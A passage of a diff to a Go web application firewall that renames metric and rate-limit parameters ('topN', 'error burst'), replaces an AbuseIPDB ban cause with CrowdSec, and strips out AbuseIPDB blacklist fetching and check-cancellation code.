@@ -39,9 +38,9 @@ type busiest struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newCountries returns the metrics by country, with series of their own
|
// newCountries returns the metrics by country, with series of their own
|
||||||
// for the busiestCount busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(busiestCount int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec(
|
||||||
"sww_country_list_refusals_total",
|
"sww_country_list_refusals_total",
|
||||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newASNs returns the metrics by AS number, with series of their own for
|
// newASNs returns the metrics by AS number, with series of their own for
|
||||||
// the busiestCount busiest AS numbers.
|
// the topN busiest AS numbers.
|
||||||
func newASNs(busiestCount int) *busiest {
|
func newASNs(topN int) *busiest {
|
||||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
return newBusiest(topN, "asn", "the client's AS number")
|
||||||
}
|
}
|
||||||
|
|
||||||
// newBusiest returns the metrics by label, which is described as
|
// newBusiest returns the metrics by label, which is described as
|
||||||
// description, with series of their own for the busiestCount busiest
|
// description, with series of their own for the topN busiest values.
|
||||||
// values.
|
func newBusiest(topN int, label, description string) *busiest {
|
||||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
|
||||||
by := []string{label}
|
by := []string{label}
|
||||||
|
|
||||||
return &busiest{
|
return &busiest{
|
||||||
busiestCount: busiestCount,
|
topN: topN,
|
||||||
requests: counterVec("sww_"+label+"_requests_total",
|
requests: counterVec("sww_"+label+"_requests_total",
|
||||||
"Requests, by "+description+".", by),
|
"Requests, by "+description+".", by),
|
||||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(b.top) < b.busiestCount {
|
if len(b.top) < b.topN {
|
||||||
b.top[value] = true
|
b.top[value] = true
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
+24
-23
@@ -14,6 +14,7 @@ import (
|
|||||||
"github.com/prometheus/client_golang/prometheus/promhttp"
|
"github.com/prometheus/client_golang/prometheus/promhttp"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
@@ -60,12 +61,12 @@ type Metrics struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// busiestCount is how many countries and how many AS numbers get series of
|
// topN is how many countries and how many AS numbers get series of their
|
||||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
||||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(busiestCount int, instanceName string) *Metrics {
|
func New(topN int, instanceName string) *Metrics {
|
||||||
byStatus := []string{"status_class", "action"}
|
byStatus := []string{"status_class", "action"}
|
||||||
byFile := []string{"file"}
|
byFile := []string{"file"}
|
||||||
registry := prometheus.NewRegistry()
|
registry := prometheus.NewRegistry()
|
||||||
@@ -101,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
|
|||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec(
|
rateLimitHits: counterVec(
|
||||||
"sww_rate_limit_hits_total",
|
"sww_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
|
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"},
|
[]string{"window", "kind"},
|
||||||
),
|
),
|
||||||
@@ -113,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
|
|||||||
"and the rule's id.",
|
"and the rule's id.",
|
||||||
[]string{"mode", "rule_id"},
|
[]string{"mode", "rule_id"},
|
||||||
),
|
),
|
||||||
countries: newCountries(busiestCount),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(busiestCount),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
Name: "sww_geojs_requests_total",
|
Name: "sww_geojs_requests_total",
|
||||||
Help: "Requests to GeoJS.",
|
Help: "Requests to GeoJS.",
|
||||||
@@ -184,7 +185,7 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
|
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
|
||||||
) {
|
) {
|
||||||
for _, cause := range []string{
|
for _, cause := range []string{
|
||||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseAbuseIPDB,
|
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
||||||
} {
|
} {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
@@ -273,7 +274,8 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
|||||||
// AddLookupFile adds the metrics of the lookup database, read as the
|
// AddLookupFile adds the metrics of the lookup database, read as the
|
||||||
// metrics are asked for: when the file in use was read, which lastRead
|
// metrics are asked for: when the file in use was read, which lastRead
|
||||||
// returns, and the replacements of it that could not be read, which
|
// returns, and the replacements of it that could not be read, which
|
||||||
// readFailures returns.
|
// readFailures returns. The lookup package's File, which has both, cannot
|
||||||
|
// be named here: that package counts GeoJS's requests in these metrics.
|
||||||
func (m *Metrics) AddLookupFile(
|
func (m *Metrics) AddLookupFile(
|
||||||
lastRead func() time.Time,
|
lastRead func() time.Time,
|
||||||
readFailures func() int,
|
readFailures func() int,
|
||||||
@@ -300,28 +302,26 @@ const sourceLabel = "source"
|
|||||||
|
|
||||||
// AddReputation adds the metrics of the lists fetched from URLs and of the
|
// AddReputation adds the metrics of the lists fetched from URLs and of the
|
||||||
// DNSBL zones, by source, each list's URL or each zone, its key masked as
|
// DNSBL zones, by source, each list's URL or each zone, its key masked as
|
||||||
// reputation.MaskZoneKey masks it: the requests whose client a blocklist, a
|
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
|
||||||
// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts,
|
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
|
||||||
// and, read from lists and dnsbl as the metrics are asked for, for a list,
|
// which ReputationHit counts, and, read from lists and dnsbl as the
|
||||||
// the fetches that failed and when the copy in use was fetched, and for a
|
// metrics are asked for, for a list, the fetches that failed and when the
|
||||||
// zone, the queries made and those that failed. It is called once, before
|
// copy in use was fetched, and for a zone, the queries made and those that
|
||||||
// ReputationHit.
|
// failed. It is called once, before ReputationHit.
|
||||||
func (m *Metrics) AddReputation(
|
func (m *Metrics) AddReputation(
|
||||||
lists *reputation.Lists,
|
lists *reputation.Lists,
|
||||||
dnsbl *reputation.DNSBL,
|
dnsbl *reputation.DNSBL,
|
||||||
) {
|
) {
|
||||||
m.reputationHits = counterVec(
|
m.reputationHits = counterVec(
|
||||||
"sww_reputation_hits_total",
|
"sww_reputation_hits_total",
|
||||||
"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, "+
|
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
||||||
"by the list's URL, the zone, or abuseipdb.",
|
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
||||||
[]string{sourceLabel},
|
[]string{sourceLabel},
|
||||||
)
|
)
|
||||||
m.registry.MustRegister(m.reputationHits)
|
m.registry.MustRegister(m.reputationHits)
|
||||||
|
|
||||||
for _, zone := range dnsbl.Zones() {
|
for _, zone := range dnsbl.Zones() {
|
||||||
source := prometheus.Labels{
|
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
||||||
sourceLabel: reputation.MaskZoneKey(zone),
|
|
||||||
}
|
|
||||||
|
|
||||||
m.addReputationQueries(
|
m.addReputationQueries(
|
||||||
source,
|
source,
|
||||||
@@ -378,8 +378,9 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ReputationHit counts a request whose client source lists: a blocklist,
|
// ReputationHit counts a request whose client source lists: a blocklist
|
||||||
// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb.
|
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
|
||||||
|
// or AbuseIPDB, abuseipdb.
|
||||||
func (m *Metrics) ReputationHit(source string) {
|
func (m *Metrics) ReputationHit(source string) {
|
||||||
m.reputationHits.WithLabelValues(source).Inc()
|
m.reputationHits.WithLabelValues(source).Inc()
|
||||||
}
|
}
|
||||||
@@ -464,7 +465,7 @@ func (m *Metrics) RequestReported(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
||||||
// refusal limit, by the window and the kind of hit.
|
// error burst, by the window and the kind of hit.
|
||||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
||||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ const (
|
|||||||
KindRequests = "requests"
|
KindRequests = "requests"
|
||||||
// KindBytes is a byte limit, on a client's bytes.
|
// KindBytes is a byte limit, on a client's bytes.
|
||||||
KindBytes = "bytes"
|
KindBytes = "bytes"
|
||||||
// KindRefusals is the refusal limit, on a client's requests sww
|
// KindRefusals is the error burst, on a client's requests sww
|
||||||
// refused after a rule file match or for a missing or wrong token.
|
// refused after a rule file match or for a missing or wrong token.
|
||||||
KindRefusals = "refusals"
|
KindRefusals = "refusals"
|
||||||
)
|
)
|
||||||
@@ -54,7 +54,7 @@ type Limiter struct {
|
|||||||
|
|
||||||
// Client is a client in the table, as clients.json holds it: its buckets
|
// Client is a client in the table, as clients.json holds it: its buckets
|
||||||
// of requests and of bytes in each window, its buckets of refusals in the
|
// of requests and of bytes in each window, its buckets of refusals in the
|
||||||
// minute, which the refusal limit counts, and its history.
|
// minute, which the error burst counts, and its history.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Client struct {
|
type Client struct {
|
||||||
@@ -121,7 +121,7 @@ type Responses struct {
|
|||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Offences struct {
|
type Offences struct {
|
||||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||||
// refusal limit, Attack those that were a clear sign of attack, a match
|
// error burst, Attack those that were a clear sign of attack, a match
|
||||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||||
// refused.
|
// refused.
|
||||||
@@ -147,7 +147,7 @@ type Request struct {
|
|||||||
RequestBytes int64
|
RequestBytes int64
|
||||||
ResponseBytes int64
|
ResponseBytes int64
|
||||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||||
// limit or the refusal limit, Attack for one that matched a ban rule or
|
// limit or the error burst, Attack for one that matched a ban rule or
|
||||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||||
BrokeLimit bool
|
BrokeLimit bool
|
||||||
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Hit is a request that takes a client over a rate limit or the refusal
|
// Hit is a request that takes a client over a rate limit or the error
|
||||||
// limit, or whose bytes take it over a byte limit.
|
// burst, or whose bytes take it over a byte limit.
|
||||||
type Hit struct {
|
type Hit struct {
|
||||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||||
// KindRefusals for the refusal limit.
|
// KindRefusals for the error burst.
|
||||||
Kind string
|
Kind string
|
||||||
// Window is "minute", "hour" or "day".
|
// Window is "minute", "hour" or "day".
|
||||||
Window string
|
Window string
|
||||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
|||||||
// CountRefusal counts a request from client at now that sww
|
// CountRefusal counts a request from client at now that sww
|
||||||
// refused after a rule file or Core Rule Set match or for a missing or
|
// refused after a rule file or Core Rule Set match or for a missing or
|
||||||
// wrong token, and reports whether the client's refusals in the minute
|
// wrong token, and reports whether the client's refusals in the minute
|
||||||
// that ends at now, this one included, are more than limit, which breaks
|
// that ends at now, this one included, are more than threshold, which
|
||||||
// the refusal limit, and the hit.
|
// breaks the error burst, and the hit.
|
||||||
func (l *Limiter) CountRefusal(
|
func (l *Limiter) CountRefusal(
|
||||||
client netip.Prefix, now time.Time, limit int64,
|
client netip.Prefix, now time.Time, threshold int64,
|
||||||
) (Hit, bool) {
|
) (Hit, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
|||||||
hit := Hit{
|
hit := Hit{
|
||||||
Kind: KindRefusals,
|
Kind: KindRefusals,
|
||||||
Window: "minute",
|
Window: "minute",
|
||||||
Limit: limit,
|
Limit: threshold,
|
||||||
Count: count,
|
Count: count,
|
||||||
}
|
}
|
||||||
|
|
||||||
return hit, count > float64(limit)
|
return hit, count > float64(threshold)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||||
|
|||||||
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
|||||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf(
|
t.Fatalf(
|
||||||
"a refusal within the limit of %d broke the refusal limit",
|
"a refusal within the threshold of %d broke the error burst",
|
||||||
limit,
|
limit,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"one over the limit broke it: %t, with %+v; want %+v",
|
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||||
over,
|
over,
|
||||||
hit,
|
hit,
|
||||||
want,
|
want,
|
||||||
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the limit.
|
// this one: 3, within the threshold.
|
||||||
hit, over = limiter.CountRefusal(
|
hit, over = limiter.CountRefusal(
|
||||||
client,
|
client,
|
||||||
start.Add(time.Minute+time.Minute/2),
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
|||||||
@@ -62,9 +62,9 @@ type Params struct {
|
|||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// BufferLines is the most lines held while they wait to be sent
|
// Buffer is the most lines held while they wait to be sent
|
||||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||||
BufferLines int
|
Buffer int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
|||||||
// id and the structured data have no value.
|
// id and the structured data have no value.
|
||||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||||
records: make(chan []byte, params.BufferLines),
|
records: make(chan []byte, params.Buffer),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ import (
|
|||||||
const (
|
const (
|
||||||
// started is the time a record made as a test starts gives.
|
// started is the time a record made as a test starts gives.
|
||||||
started = "2000-01-01T00:00:00.000Z"
|
started = "2000-01-01T00:00:00.000Z"
|
||||||
appName = "host1/blog"
|
appName = "fsn1app1/blog"
|
||||||
// local0 is the number of the default facility, and local0Info the
|
// local0 is the number of the default facility, and local0Info the
|
||||||
// priority of its records.
|
// priority of its records.
|
||||||
local0 = 16
|
local0 = 16
|
||||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
|||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||||
endpointParams.RootCAs = roots
|
endpointParams.RootCAs = roots
|
||||||
endpointParams.BufferLines = 3
|
endpointParams.Buffer = 3
|
||||||
sender, _, _ := run(t, endpointParams)
|
sender, _, _ := run(t, endpointParams)
|
||||||
|
|
||||||
// The sender connects, and its TLS handshake waits for an answer
|
// The sender connects, and its TLS handshake waits for an answer
|
||||||
@@ -403,7 +403,7 @@ func (o *output) text() string {
|
|||||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||||
return remotelog.Params{
|
return remotelog.Params{
|
||||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||||
BufferLines: 10,
|
Buffer: 10,
|
||||||
Facility: local0,
|
Facility: local0,
|
||||||
AppName: appName,
|
AppName: appName,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,7 +11,6 @@ import (
|
|||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"strconv"
|
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -24,9 +23,6 @@ const (
|
|||||||
// AbuseIPDBURL is where clients are checked: the check endpoint of
|
// AbuseIPDBURL is where clients are checked: the check endpoint of
|
||||||
// AbuseIPDB's API.
|
// AbuseIPDB's API.
|
||||||
AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
|
AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
|
||||||
// AbuseIPDBBlacklistURL is where AbuseIPDB's blacklist is fetched from:
|
|
||||||
// the blacklist endpoint of AbuseIPDB's API.
|
|
||||||
AbuseIPDBBlacklistURL = "https://api.abuseipdb.com/api/v2/blacklist"
|
|
||||||
// AbuseIPDBSource is how the request log, the alerts and the metrics
|
// AbuseIPDBSource is how the request log, the alerts and the metrics
|
||||||
// name AbuseIPDB.
|
// name AbuseIPDB.
|
||||||
AbuseIPDBSource = "abuseipdb"
|
AbuseIPDBSource = "abuseipdb"
|
||||||
@@ -36,8 +32,6 @@ const (
|
|||||||
|
|
||||||
var (
|
var (
|
||||||
errNoScore = errors.New("the answer gives no abuseConfidenceScore")
|
errNoScore = errors.New("the answer gives no abuseConfidenceScore")
|
||||||
errNoBlacklist = errors.New("the answer gives no data")
|
|
||||||
errNotAddress = errors.New("is not an address")
|
|
||||||
errBudgetUsedUp = errors.New(
|
errBudgetUsedUp = errors.New(
|
||||||
"checks spent; none is made until the day ends at 00:00 UTC")
|
"checks spent; none is made until the day ends at 00:00 UTC")
|
||||||
)
|
)
|
||||||
@@ -59,13 +53,6 @@ type ChecksSpent struct {
|
|||||||
Spent int
|
Spent int
|
||||||
}
|
}
|
||||||
|
|
||||||
// BlacklistEntry is a client on AbuseIPDB's blacklist: its address and its
|
|
||||||
// abuse confidence score.
|
|
||||||
type BlacklistEntry struct {
|
|
||||||
Addr netip.Addr
|
|
||||||
Score int64
|
|
||||||
}
|
|
||||||
|
|
||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
type AbuseIPDBParams struct {
|
type AbuseIPDBParams struct {
|
||||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||||
@@ -78,23 +65,14 @@ type AbuseIPDBParams struct {
|
|||||||
MinScore int64
|
MinScore int64
|
||||||
DailyBudget int
|
DailyBudget int
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
// CacheTTL is how long a score is used after it was fetched
|
||||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
|
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// BlacklistURL is where the blacklist is fetched from, normally
|
|
||||||
// AbuseIPDBBlacklistURL, with the clients scored Threshold or more
|
|
||||||
// (SWW_WAF_ABUSEIPDB_THRESHOLD), every BlacklistRefresh
|
|
||||||
// (SWW_WAF_ABUSEIPDB_BLACKLIST_REFRESH_INTERVAL_MINS). Blacklisted
|
|
||||||
// receives the clients on each blacklist fetched.
|
|
||||||
BlacklistURL string
|
|
||||||
Threshold int64
|
|
||||||
BlacklistRefresh time.Duration
|
|
||||||
Blacklisted func([]BlacklistEntry)
|
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// ProcessLog receives each check or fetch of the blacklist that fails,
|
// ProcessLog receives each check that fails, and why, and the day's
|
||||||
// and why, and the day's budget used up.
|
// budget used up.
|
||||||
ProcessLog *slog.Logger
|
ProcessLog *slog.Logger
|
||||||
// Alerts receive a source_failure alert for each.
|
// Alerts receive a source_failure alert for each.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -110,12 +88,8 @@ type AbuseIPDB struct {
|
|||||||
// scores are by client. Each is added as it is fetched and never moved
|
// scores are by client. Each is added as it is fetched and never moved
|
||||||
// up, so that the one fetched longest ago is the first dropped.
|
// up, so that the one fetched longest ago is the first dropped.
|
||||||
scores *simplelru.LRU[netip.Prefix, Score]
|
scores *simplelru.LRU[netip.Prefix, Score]
|
||||||
// checking are the clients whose check is under way, each with the
|
// checking are the clients whose check is under way.
|
||||||
// function that ends it. stopped is true once StopChecking has been
|
checking map[netip.Prefix]bool
|
||||||
// called, and checkGoroutines waits for the goroutine of each check.
|
|
||||||
checking map[netip.Prefix]context.CancelFunc
|
|
||||||
stopped bool
|
|
||||||
checkGoroutines sync.WaitGroup
|
|
||||||
// day is the day, in UTC, of the checks spent counts.
|
// day is the day, in UTC, of the checks spent counts.
|
||||||
day civil.Date
|
day civil.Date
|
||||||
spent int
|
spent int
|
||||||
@@ -138,7 +112,7 @@ func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
|
|||||||
params: params,
|
params: params,
|
||||||
httpClient: &http.Client{},
|
httpClient: &http.Client{},
|
||||||
scores: scores,
|
scores: scores,
|
||||||
checking: map[netip.Prefix]context.CancelFunc{},
|
checking: map[netip.Prefix]bool{},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -148,11 +122,11 @@ func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
|
|||||||
// addresses its request comes from. A client without one is checked in
|
// addresses its request comes from. A client without one is checked in
|
||||||
// the background, by addr, the address its request came from, if
|
// the background, by addr, the address its request came from, if
|
||||||
// offender, if it has committed an offence, unless its check is under
|
// offender, if it has committed an offence, unless its check is under
|
||||||
// way, a check failed less than failureDelay ago, the day's checks have
|
// way, a check failed less than failureDelay ago, or the day's checks
|
||||||
// used up DailyBudget, or StopChecking has been called; Hit never waits
|
// have used up DailyBudget; Hit never waits for a check. The check that
|
||||||
// for a check. The check that uses the budget up is logged and raised as a
|
// uses the budget up is logged and raised as a source_failure alert. ctx
|
||||||
// source_failure alert. ctx is the context of the client's request, and a
|
// is the context of the client's request, and a check goes on after the
|
||||||
// check goes on after the request ends, until StopChecking.
|
// request ends.
|
||||||
func (a *AbuseIPDB) Hit(
|
func (a *AbuseIPDB) Hit(
|
||||||
ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
|
ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
|
||||||
) (int64, bool) {
|
) (int64, bool) {
|
||||||
@@ -171,21 +145,14 @@ func (a *AbuseIPDB) Hit(
|
|||||||
a.day, a.spent = today, 0
|
a.day, a.spent = today, 0
|
||||||
}
|
}
|
||||||
|
|
||||||
_, checking := a.checking[client]
|
check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
|
||||||
|
a.spent < a.params.DailyBudget
|
||||||
check := offender && !checking && !a.stopped &&
|
|
||||||
!now.Before(a.retryAt) && a.spent < a.params.DailyBudget
|
|
||||||
if check {
|
if check {
|
||||||
checkCtx, end := context.WithCancel(context.WithoutCancel(ctx))
|
a.checking[client] = true
|
||||||
a.checking[client] = end
|
|
||||||
a.checks++
|
a.checks++
|
||||||
a.spent++
|
a.spent++
|
||||||
|
|
||||||
a.checkGoroutines.Go(func() {
|
go a.check(context.WithoutCancel(ctx), client, addr)
|
||||||
defer end()
|
|
||||||
|
|
||||||
a.check(checkCtx, client, addr)
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
usedUp := check && a.spent == a.params.DailyBudget
|
usedUp := check && a.spent == a.params.DailyBudget
|
||||||
@@ -200,24 +167,6 @@ func (a *AbuseIPDB) Hit(
|
|||||||
return 0, false
|
return 0, false
|
||||||
}
|
}
|
||||||
|
|
||||||
// StopChecking ends the checks under way, and returns once their goroutines
|
|
||||||
// have. A check it ends gives no score and is no failure: it is neither
|
|
||||||
// counted, logged nor raised as an alert, and checks are not left alone
|
|
||||||
// after it. The ended check stays spent from the day's budget. After
|
|
